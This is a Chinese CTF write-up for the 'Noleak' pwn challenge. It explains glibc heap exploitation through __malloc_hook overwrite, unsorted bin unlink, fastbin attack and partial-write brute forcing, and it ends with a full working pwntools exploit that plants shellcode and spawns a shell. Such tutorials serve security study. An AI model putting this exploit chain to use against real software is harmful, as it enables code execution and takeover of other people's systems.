攻防世界PWN之Noleak(一题学了好多知识)题解

Noleak

本题需要用到的知识有:malloc_hookunsorted bin unlinkfastbin attackpartial write bypass PIE

 

首先,介绍一下malloc_hook,这是C语言提供的一个用来包装malloc的,类似还有free_hook,具体可以查阅相关资料学习

 

Malloc hook

我们看如下代码

  1. #include   
  2. #include   
  3.   
  4. void *fun() {  
  5.    __malloc_hook = NULL;  
  6.    printf("hello,fun was called!\n");  
  7.    return NULL;  
  8. }  
  9. int main() {  
  10.    __malloc_hook = fun;  
  11.    malloc(10);  
  12. }  

只要我们 __malloc_hook赋值为某个函数的地址,那么,当我们malloc时,系统就会去调用那个函数。

 

Unsorted bin unlink

Unsorted bin使用双向链表维护,假如在物理地址上,chunk0后面是chunk1,我们通过chunk0溢出到chunk1,并且还在chunk0里面伪造了一个chunk,其中fd和bk指向了我们的目标附近处,溢出修改chunk1的prev_size和size,让假的chunk伪装成free的状态,这样,当我们释放chunk1时就触发了unlink,使得chunk0的指针指向了我们的目标处,接下来,我们编辑chunk0,就是编辑目标处。关于unlink的详细知识,请看我之前的一篇博客https://blog.csdn.net/seaaseesa/article/details/102907138 。

本题,当我们free一个unsorted bin时,它的fd指针会指向libcmain_arena+88地址处,而该处的上方不远处,就是__malloc_hook

 

我们先创建一个256字节的堆,然后释放它,释放后的堆块数据结构是这样的,fd和bk设置成了main_arena+88的值

攻防世界PWN之Noleak(一题学了好多知识)题解_第1张图片

__malloc_hook

main_arena+88

攻防世界PWN之Noleak(一题学了好多知识)题解_第2张图片

我们的目的是修改__malloc_hook,让它指向指向我们的shellcode地址,这样,当我们malloc时,就会触发我们的shellcode执行。

fastbin attack

为了实现修改__malloc_hook处的数据,我们可以利用fastbin将堆块分配到此处,这样我们就能改写此处的数据了。

Fastbin只检查它单向链表中每个块的size域是否符合条件。我们可以__malloc_hook附近找一个可以伪造的块,想办法把这个块加入到fastbin的链表中,这样,当我们malloc分配时,就可以分配到这个块,这样我们就能修改__malloc_hook的数据了。

我们发现,__malloc_hook上方不远处有一个符合条件的区域

攻防世界PWN之Noleak(一题学了好多知识)题解_第3张图片

假如,我们的块从图中的0x 7F535F744AED处开始,那么0x 7F535F744AED + 8 = 7F535F744AF5正好是块的size域,由于size域是8字节空间,图中,它后面都是0,因此它的值就是7F,由于fastbin在malloc时,只检查size域,因此,我们可以把0x 7F535F744AED(注意这个地址是随机的,但是它位于__malloc_hook – 0x23,因此,我们可以来爆破,看下文partial write技术)链接到fastbin里,这样,我们重新分配时,就可以分配到这里。

partial write

前面的演示,我们知道了unsorted bin里最后一个块的fd会残留libc中main_arena+88的地址。(这里开启了另一个程序实例,所有里面的地址变了,不要在意)

攻防世界PWN之Noleak(一题学了好多知识)题解_第4张图片

由于内存的页载入机制,PIE的随机化只能影响到单个内存页。一般一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后3个十六进制数字的是始终不变的,与它在二进制文件中的地址后3个十六进制是一样的,从图中,我们可以看出,main_arenalibc2.23中的地址后三个数是B78

我们验证一下,以malloc_hook的地址为例,我们看到,它的静态地址是这样的

攻防世界PWN之Noleak(一题学了好多知识)题解_第5张图片

后三个数数B10

我们再看看它加载的地址

攻防世界PWN之Noleak(一题学了好多知识)题解_第6张图片

也是B10

也就是说,在同一个页里,就后2字节不一样,由于main_arena+ 88和__malloc_hook-0x23在同一个页里,现在我们已知后三个十六进制数字,那么我们只需爆破倒数第四个数字,即可得到__malloc_hook-0x23的地址。其实也不用爆破,我们就让倒数第4个数字固定,我们就假如它是2(随意),只要我们多次运行程序,总有一次地址正好吻合。

  1. attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)  

那么,我们需要把上面这个2字节覆盖到那个unsorted bin块的fd的低二字节,由于采用的是小端存储,正好可以覆盖,并且保留前面的字节数据。

攻防世界PWN之Noleak(一题学了好多知识)题解_第7张图片

如图,通过前一个块的溢出,我们修改了数据,我们跳过去看看

攻防世界PWN之Noleak(一题学了好多知识)题解_第8张图片

遗憾的是,这个地址不是我们的目标处,由于我们假定倒数的第四个数字是2,当前这一次,不走运,地址没有和假定吻合。但是,当我们不断重新运行程序,总有一次会吻合。那个时候我们就可以把__malloc_hook指向我们的shellcode,然后进行一次malloc操作即可getshell

好了,那我们正式解题吧

先看看保护机制(这一步应该放在最前面的,因为我们需要依据这个想办法)

攻防世界PWN之Noleak(一题学了好多知识)题解_第9张图片

RELRO 完全开启,意味着我们不能修改GOT表。NXPIE未开启,意味着我们可以在堆栈里存入shellcode,然后跳到那里去执行shellcode

先看看程序逻辑(delete功能没有把指针清空)

攻防世界PWN之Noleak(一题学了好多知识)题解_第10张图片

编辑功能存在UAF以及溢出漏洞,size未做检查,可以溢出堆,UAF也可以编辑堆,真是漏洞百出

攻防世界PWN之Noleak(一题学了好多知识)题解_第11张图片

我们决定把shellcode存到bss段0x601020处,因为没有开启PIE,它的地址固定

攻防世界PWN之Noleak(一题学了好多知识)题解_第12张图片

我们如何向这里写入数据呢?

我们需要先利用unsorted bin发生unlink,控制保存堆指针的数组。

  1. #chunk0  
  2. create(sh,0x100,'a'*0x100)  
  3. #chunk1  
  4. create(sh,0x100,'b'*0x100)  
  5. #我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里  
  6. target_addr = 0x601040  
  7. #构造payload使得chunk0溢出到chunk1,修改chunk1prev_sizesize  
  8. #chunk  
  9. #prev_size size  
  10. payload = p64(0) + p64(0x101)  
  11. #fdbk  
  12. payload += p64(target_addr-0x18) + p64(target_addr - 0x10)  
  13. payload += 'a' * (0x100-8*4)  
  14. #修改chunk3prev_sizesize  
  15. payload += p64(0x100) + p64(0x110)  
  16.   
  17. edit(sh,0,len(payload),payload)  
  18. #发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方  
  19. delete(sh,1)  

不明白unlink的可以看我之前的博客里有详解https://blog.csdn.net/seaaseesa/article/details/102907138

 

发生了unlink,数组里,堆0的指针变成了0x601028,那么我们可以构造payload,从0x601028处溢出到下面,把数组里的几个指针全部修改成其他我们需要的地方,这样当我们编辑对应的堆时,就是编辑这些地址处的数据。比如,现在我们edit(0)就是在编辑0x601028处的数据。

攻防世界PWN之Noleak(一题学了好多知识)题解_第13张图片

  1. payload = p64(0) * 3  
  2. payload += p64(bss_addr)  
  3. #将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode  
  4. edit(sh,0,len(payload),payload)  

接下来,我们要开始来实现如何修改malloc_hook了。

  1. #chunk2  
  2. create(sh,0x10,'c'*0x10)  
  3. #chunk3 这个必须是unsorted bin范围  
  4. create(sh,0x80,'d'*0x80)  
  5. #chunk4  
  6. create(sh,0x65,'e'*0x65)  
  7. #chunk5  
  8. create(sh,0x65,'f'*0x65)  
  9. #free chunk3后,chunk3fdbk残留了libc里面的main_area + 0x88指针  
  10. delete(sh,3)  
  11.   
  12. #覆盖低2字节,使得chunk3FD指向了malloc hook-0x23  
  13. create(sh,0x80,p16(attack_addr_suffix)) #chunk6  

chunk2用于溢出到chunk3,对chunk3进行修改。

我们要想实现将malloc_hook-0x23处链接到unsorted bin的链表中去,现在,假设我们覆盖chunk3的fd低2字节后,地址吻合了,那么malloc_hook-0x23已经连接到了chunk3的fd,那么我们就需要把chunk3加入到单向链表中去即可,那么我们需要通过chunk2溢出到chunk3修改chunk3的size域,使它在fastbin范围内,这里,我们就改成0x71吧

  1. payload = 'c'*0x10  
  2. payload += p64(0) + p64(0x71)  
  3. edit(sh,2,len(payload),payload)  

现在还有问题是,我们又不知道chunk3的地址,那么我们还需要再利用一次partial write

我们先释放chunk4、chunk5,这样,形成了以chunk5为头结点的fastbin单向链表,由于chunk4和chunk3在内存中是相邻的,并且他们的地址只有最后一字节不一样,由于最后一字节我们是可以得到的,只需用IDA观察即可

Chunk3

攻防世界PWN之Noleak(一题学了好多知识)题解_第14张图片

Chunk4

攻防世界PWN之Noleak(一题学了好多知识)题解_第15张图片

Chunk5的fd域

我们发现,chunk3chunk4的地址只有最后一个字节的差别,我们可以利用UAF漏洞,把chunk5fd的低1字节覆盖成0x30,这样,chunk5fd就指向了chunk3

  1. #释放chunk4chunk5,这样chunk5chunk4构成了fastbin单向链表  
  2. delete(sh,4)  
  3. delete(sh,5)  
  4. #我们覆盖chunk5fd的低1字节,目的是让chunk5fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。  
  5. edit(sh,5,1,p8(0x30))  

这样操作以后,形成了这样的一个fastbin链表

Chunk5 chunk3 __malloc_hook-0x23

因此我们malloc三次后,就分配到了__malloc_hook-0x23处,我们就可以修改__malloc_hook了

由于程序会检测数组里指针的个数,超过10个就不给创建了,因此我们在bss段写入shellcode时,顺便把数组里覆盖为0

攻防世界PWN之Noleak(一题学了好多知识)题解_第16张图片

  1. #bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了  
  2. payload = shellcode.ljust(0x20,'\x00')  
  3. payload += p64(0) * 8  
  4. edit(sh,0,len(payload),payload)  

我们最终完整的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. context(os='linux',arch='amd64')  
  5.   
  6. elf = ELF('./timu')  
  7. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
  8.   
  9. #bss段,我们待会把shellcode写入这里  
  10. bss_addr = 0x601020  
  11. #我们的目的是把__malloc_hook指向bss_addr,这样,当我们malloc,我们在bss里放的代码被调用  
  12. #从而getshell  
  13. malloc_hook = libc.symbols['__malloc_hook']  
  14. #我们的攻击目标,我们利用fastbin,想办法让堆分配到malloc_hook地址-0x23  
  15. #由于不能泄露地址,但是由于PIE的缺陷,符号的地址的后3个十六进制数字和它在  
  16. #二进制文件中的地址的后三个十六进制数是一样的。然后,我们就直接设定倒数第  
  17. #个十六进制数字为2,这样,我们不断爆破,总有一次,它的后4个十六进制数字为  
  18. #这个  
  19. attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)  
  20.   
  21. #shellcode  
  22. shellcode = asm(shellcraft.sh())  
  23.   
  24. def create(sh,size,content):  
  25.    sh.sendlineafter('Your choice :','1')  
  26.    sh.sendlineafter('Size: ',str(size))  
  27.    sh.sendafter('Data: ',content)  
  28.   
  29. def edit(sh,index,size,content):  
  30.    sh.sendlineafter('Your choice :','3')  
  31.    sh.sendlineafter('Index: ',str(index))  
  32.    sh.sendlineafter('Size: ',str(size))  
  33.    sh.sendafter('Data: ',content)  
  34.   
  35. def delete(sh,index):  
  36.    sh.sendlineafter('Your choice :','2')  
  37.    sh.sendlineafter('Index: ',str(index))  
  38.   
  39.   
  40. def crack(sh):  
  41.    #chunk0  
  42.    create(sh,0x100,'a'*0x100)  
  43.    #chunk1  
  44.    create(sh,0x100,'b'*0x100)  
  45.    #我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里  
  46.    target_addr = 0x601040  
  47.    #构造payload使得chunk0溢出到chunk1,修改chunk1prev_sizesize  
  48.    #chunk  
  49.    #prev_size size  
  50.    payload = p64(0) + p64(0x101)  
  51.    #fdbk  
  52.    payload += p64(target_addr-0x18) + p64(target_addr - 0x10)  
  53.    payload += 'a' * (0x100-8*4)  
  54.    #修改chunk3prev_sizesize  
  55.    payload += p64(0x100) + p64(0x110)  
  56.   
  57.    edit(sh,0,len(payload),payload)  
  58.    #发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方  
  59.    delete(sh,1)  
  60.    payload = p64(0) * 3  
  61.    payload += p64(bss_addr)  
  62.    #将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode  
  63.    edit(sh,0,len(payload),payload)  
  64.   
  65.    #chunk2  
  66.    create(sh,0x10,'c'*0x10)  
  67.    #chunk3 这个必须是unsorted bin范围  
  68.    create(sh,0x80,'d'*0x80)  
  69.    #chunk4  
  70.    create(sh,0x65,'e'*0x65)  
  71.    #chunk5  
  72.    create(sh,0x65,'f'*0x65)  
  73.    #free chunk3后,chunk3fdbk残留了libc里面的main_area + 0x88指针  
  74.    delete(sh,3)  
  75.   
  76.    #覆盖低2字节,使得chunk3FD指向了malloc hook-0x23  
  77.    create(sh,0x80,p16(attack_addr_suffix)) #chunk6  
  78.    #修改chunk3size,目的是让chunk3chunk5chunk4size一样  
  79.    payload = 'c'*0x10  
  80.    payload += p64(0) + p64(0x71)  
  81.    edit(sh,2,len(payload),payload)  
  82.    #释放chunk4chunk5,这样chunk5chunk4构成了fastbin单向链表  
  83.    delete(sh,4)  
  84.    delete(sh,5)  
  85.    #我们覆盖chunk5fd的低1字节,目的是让chunk5fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。  
  86.    edit(sh,5,1,p8(0x30))  
  87.   
  88.    #bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了  
  89.    payload = shellcode.ljust(0x20,'\x00')  
  90.    payload += p64(0) * 8  
  91.    edit(sh,0,len(payload),payload)  
  92.   
  93.    #chunk7  
  94.    create(sh,0x65,'g'*0x65)  
  95.    #chunk8  
  96.    create(sh,0x65,'h'*0x65)  
  97.   
  98.    payload = 'a'*0x13 + p64(bss_addr)  
  99.    #这个堆的指针指向了__malloc hook,我们修改它的值为bss_addr,这样,当我们再次malloc时,就会调用bss_addr处的shellcode  
  100.    create(sh,0x65,payload) #chunk9  
  101.    #当我们再次malloc时,malloc hook执行的函数被调用,我们getshell  
  102.    sh.sendlineafter('Your choice :','1')  
  103.    sh.sendlineafter('Size: ','1')  
  104.    sh.interactive()  
  105.   
  106. #爆破  
  107. while True:  
  108. #   sh = remote('111.198.29.45',59617)  
  109.    sh = process('./timu')  
  110.    try:  
  111.       print '正在爆破...'  
  112.       crack(sh)  
  113.       break  
  114.    except:  
  115.       sh.close()  

成功getshell

攻防世界PWN之Noleak(一题学了好多知识)题解_第17张图片

你可能感兴趣的:(pwn,CTF,二进制漏洞)